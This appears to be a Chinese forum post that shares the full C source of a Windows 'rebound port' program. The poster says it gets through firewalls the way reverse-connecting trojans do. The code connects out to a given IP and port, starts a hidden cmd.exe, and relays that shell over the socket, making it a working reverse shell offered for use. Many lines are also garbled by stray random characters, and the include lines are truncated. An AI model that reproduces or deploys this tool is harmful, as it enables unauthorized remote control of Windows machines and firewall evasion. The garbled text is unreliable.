这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G%q^8#
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/* ============================== H?a1XEY/
Rebound port in Windows NT l`wF;W!
By wind,2006/7 RP9jZRDbZ
===============================*/ 5Xr<~xr
#include ^DQp9$la
#include "dItv#<:}
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#pragma comment(lib,"wsock32.lib") :,f~cdq=
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void OutputShell(); ALO0yc
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :p|wo"=@Ge
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void main(int argc,char **argv) *i)3q+%.
{ Af`qe+0E
WSADATA stWsaData; 6`JY:~V"
int nRet; Ob~7r*q
SOCKADDR_IN stSaiClient,stSaiServer; -yJ%G1R
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if(argc != 3) dU"ca|u
{ iu$:_W_
printf("Useage:\n\rRebound DestIP DestPort\n"); |ler\"Eu
return; @L/p
} 6A;,Ph2
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WSAStartup(MAKEWORD(2,2),&stWsaData); N,?4,+Hc-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `({Bi!%i
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stSaiClient.sin_family = AF_INET; <,:5d2mM.
stSaiClient.sin_port = htons(0); NE1n 9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %vZTD+i
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I%Yeq"5RB
{ WW&agr
printf("Bind Socket Failed!\n"); +k<0:Fi
return; Zai:?%^
} Gp.XTz#=
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stSaiServer.sin_family = AF_INET; Q&k1' nT5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -L6YLe%w
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N0POyd/rL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !*1Kjg3
{ >DSD1i+N
printf("Connect Error!"); d&x #9ka
return; ,ej89
} a^xt9o`
OutputShell(); y~Ts9AE
} "R5! VV
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void OutputShell() .gP}/dj
{ ;+3XDz
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char szBuff[1024]; 7+2DsZ^6MW
SECURITY_ATTRIBUTES stSecurityAttributes; T4fVZd)x
OSVERSIONINFO stOsversionInfo; v\}s(X(J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >oHgs
STARTUPINFO stStartupInfo; Q?xCb
char *szShell; z^z,_?q;
PROCESS_INFORMATION stProcessInformation; 0Uf.aP
unsigned long lBytesRead; (/;<K$u*h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AC}[Qp!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \&jmSa=]l
stSecurityAttributes.lpSecurityDescriptor = 0; pj9*$.{
stSecurityAttributes.bInheritHandle = TRUE; ] i:WP2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0vjlSHS;`.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .kf FaK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S"Z.M _
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5oTj^W8M(
stStartupInfo.wShowWindow = SW_HIDE; ;_dOYG1
stStartupInfo.hStdInput = hReadPipe; TO5#iiM)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (`cXS5R
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GetVersionEx(&stOsversionInfo); J`d_=C?J
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switch(stOsversionInfo.dwPlatformId) /JGET
{ NfsF'v
case 1: 4 >`2vb
szShell = "command.com"; /73ANQ"
break; C
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default: hYSzr-)
szShell = "cmd.exe"; Pu0 <Clh
break; ~zO>Q4-k
} 3IyNnm=u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'jA>P\@8
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send(sClient,szMsg,77,0); .EB'n{zxd
while(1) IZSJ+KO
{ <nk7vo?Ks
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e anR$I;Yj
if(lBytesRead)
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{ VOkSR6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Gv\:Agi
send(sClient,szBuff,lBytesRead,0); I ]HP
} */)O8`}2
else T)lkT?
{ 4Je[!X@C
lBytesRead=recv(sClient,szBuff,1024,0); =~P)7D6
if(lBytesRead<=0) break; rInZd`\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VtYrU>q
} $i9</Es
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} es!>u{8)
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return; ESyb34T`
}